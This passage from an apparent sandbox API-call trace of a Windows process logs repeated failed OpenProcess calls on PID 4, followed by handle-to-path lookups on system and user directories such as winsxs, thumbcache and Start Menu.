(dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.295] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.295] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.296] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.297] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.298] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.298] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.298] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.298] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.299] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.299] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.299] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.299] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.300] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.300] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.300] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.300] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.301] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.302] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.303] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.304] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.304] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.304] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.304] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.305] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.306] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.307] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.307] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.308] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.308] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.308] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.308] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.309] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.309] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.309] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.309] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.309] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.310] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.310] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.310] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.310] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.311] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.311] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.311] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.311] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.312] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.312] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.312] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.312] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.312] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.313] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.313] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.313] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.313] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.313] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.314] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.314] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.314] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.314] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.315] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.315] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.315] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.315] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.316] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.316] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.316] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.316] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0060.316] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0060.317] GetFileType (hFile=0x128) returned 0x1 [0060.317] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0060.319] CloseHandle (hObject=0x128) returned 1 [0060.319] GetFileType (hFile=0xc4) returned 0x1 [0060.319] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0060.321] CloseHandle (hObject=0xc4) returned 1 [0060.321] GetFileType (hFile=0x128) returned 0x1 [0060.321] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0060.324] CloseHandle (hObject=0x128) returned 1 [0060.324] GetFileType (hFile=0xc4) returned 0x0 [0060.324] CloseHandle (hObject=0xc4) returned 1 [0060.324] GetFileType (hFile=0x128) returned 0x1 [0060.325] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.326] CloseHandle (hObject=0x128) returned 1 [0060.326] GetFileType (hFile=0xc4) returned 0x1 [0060.326] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.327] CloseHandle (hObject=0xc4) returned 1 [0060.328] GetFileType (hFile=0x128) returned 0x1 [0060.328] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0060.329] CloseHandle (hObject=0x128) returned 1 [0060.329] GetFileType (hFile=0xc4) returned 0x1 [0060.329] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0060.331] CloseHandle (hObject=0xc4) returned 1 [0060.331] GetFileType (hFile=0x128) returned 0x1 [0060.331] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.332] CloseHandle (hObject=0x128) returned 1 [0060.333] GetFileType (hFile=0xc4) returned 0x1 [0060.333] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.334] CloseHandle (hObject=0xc4) returned 1 [0060.334] GetFileType (hFile=0x128) returned 0x1 [0060.334] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.335] CloseHandle (hObject=0x128) returned 1 [0060.336] GetFileType (hFile=0xc4) returned 0x1 [0060.336] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.337] CloseHandle (hObject=0xc4) returned 1 [0060.337] GetFileType (hFile=0x128) returned 0x1 [0060.337] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.338] CloseHandle (hObject=0x128) returned 1 [0060.339] GetFileType (hFile=0xc4) returned 0x1 [0060.339] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\Fonts\\StaticCache.dat") returned 0x24 [0060.340] CloseHandle (hObject=0xc4) returned 1 [0060.340] GetFileType (hFile=0x128) returned 0x1 [0060.340] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3") returned 0x7b [0060.341] CloseHandle (hObject=0x128) returned 1 [0060.341] GetFileType (hFile=0xc4) returned 0x1 [0060.342] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") returned 0x8c [0060.343] CloseHandle (hObject=0xc4) returned 1 [0060.343] GetFileType (hFile=0x128) returned 0x1 [0060.343] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.344] CloseHandle (hObject=0x128) returned 1 [0060.345] GetFileType (hFile=0xc4) returned 0x1 [0060.345] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.346] CloseHandle (hObject=0xc4) returned 1 [0060.346] GetFileType (hFile=0x128) returned 0x1 [0060.346] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.347] CloseHandle (hObject=0x128) returned 1 [0060.347] GetFileType (hFile=0xc4) returned 0x1 [0060.347] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.349] CloseHandle (hObject=0xc4) returned 1 [0060.350] GetFileType (hFile=0x128) returned 0x3 [0060.350] CloseHandle (hObject=0x128) returned 1 [0060.350] GetFileType (hFile=0xc4) returned 0x1 [0060.350] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0060.351] CloseHandle (hObject=0xc4) returned 1 [0060.351] GetFileType (hFile=0x128) returned 0x1 [0060.351] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.353] CloseHandle (hObject=0x128) returned 1 [0060.353] GetFileType (hFile=0xc4) returned 0x1 [0060.353] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0060.358] CloseHandle (hObject=0xc4) returned 1 [0060.358] GetFileType (hFile=0x128) returned 0x1 [0060.358] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 0x4d [0060.360] CloseHandle (hObject=0x128) returned 1 [0060.360] GetFileType (hFile=0xc4) returned 0x1 [0060.360] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 0x66 [0060.362] CloseHandle (hObject=0xc4) returned 1 [0060.362] GetFileType (hFile=0x128) returned 0x1 [0060.362] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 0x58 [0060.364] CloseHandle (hObject=0x128) returned 1 [0060.364] GetFileType (hFile=0xc4) returned 0x1 [0060.364] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0060.365] CloseHandle (hObject=0xc4) returned 1 [0060.365] GetFileType (hFile=0x128) returned 0x1 [0060.366] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned 0x2f [0060.367] CloseHandle (hObject=0x128) returned 1 [0060.367] GetFileType (hFile=0xc4) returned 0x1 [0060.367] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0060.434] CloseHandle (hObject=0xc4) returned 1 [0060.434] GetFileType (hFile=0x128) returned 0x1 [0060.434] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0060.436] CloseHandle (hObject=0x128) returned 1 [0060.436] GetFileType (hFile=0xc4) returned 0x1 [0060.436] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0060.438] CloseHandle (hObject=0xc4) returned 1 [0060.438] GetFileType (hFile=0x128) returned 0x1 [0060.438] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0060.439] CloseHandle (hObject=0x128) returned 1 [0060.439] GetFileType (hFile=0xc4) returned 0x1 [0060.440] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0060.441] CloseHandle (hObject=0xc4) returned 1 [0060.441] GetFileType (hFile=0x128) returned 0x1 [0060.441] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0060.443] CloseHandle (hObject=0x128) returned 1 [0060.443] GetFileType (hFile=0xc4) returned 0x1 [0060.443] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0060.445] CloseHandle (hObject=0xc4) returned 1 [0060.445] GetFileType (hFile=0x128) returned 0x1 [0060.445] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0060.449] CloseHandle (hObject=0x128) returned 1 [0060.449] GetFileType (hFile=0xc4) returned 0x1 [0060.449] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.451] CloseHandle (hObject=0xc4) returned 1 [0060.451] GetFileType (hFile=0x128) returned 0x1 [0060.451] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.453] CloseHandle (hObject=0x128) returned 1 [0060.453] GetFileType (hFile=0xc4) returned 0x1 [0060.454] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.456] CloseHandle (hObject=0xc4) returned 1 [0060.456] GetFileType (hFile=0x128) returned 0x1 [0060.456] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.458] CloseHandle (hObject=0x128) returned 1 [0060.458] GetFileType (hFile=0xc4) returned 0x1 [0060.458] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.460] CloseHandle (hObject=0xc4) returned 1 [0060.461] GetFileType (hFile=0x128) returned 0x1 [0060.461] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.462] CloseHandle (hObject=0x128) returned 1 [0060.463] GetFileType (hFile=0xc4) returned 0x1 [0060.463] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.465] CloseHandle (hObject=0xc4) returned 1 [0060.465] GetFileType (hFile=0x128) returned 0x1 [0060.465] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.467] CloseHandle (hObject=0x128) returned 1 [0060.467] GetFileType (hFile=0xc4) returned 0x1 [0060.467] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.469] CloseHandle (hObject=0xc4) returned 1 [0060.470] GetFileType (hFile=0x128) returned 0x1 [0060.470] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0060.472] CloseHandle (hObject=0x128) returned 1 [0060.472] GetFileType (hFile=0xc4) returned 0x1 [0060.472] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0060.473] CloseHandle (hObject=0xc4) returned 1 [0060.474] GetFileType (hFile=0x128) returned 0x1 [0060.474] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0060.475] CloseHandle (hObject=0x128) returned 1 [0060.475] GetFileType (hFile=0xc4) returned 0x1 [0060.476] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.477] CloseHandle (hObject=0xc4) returned 1 [0060.477] GetFileType (hFile=0x128) returned 0x1 [0060.477] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: 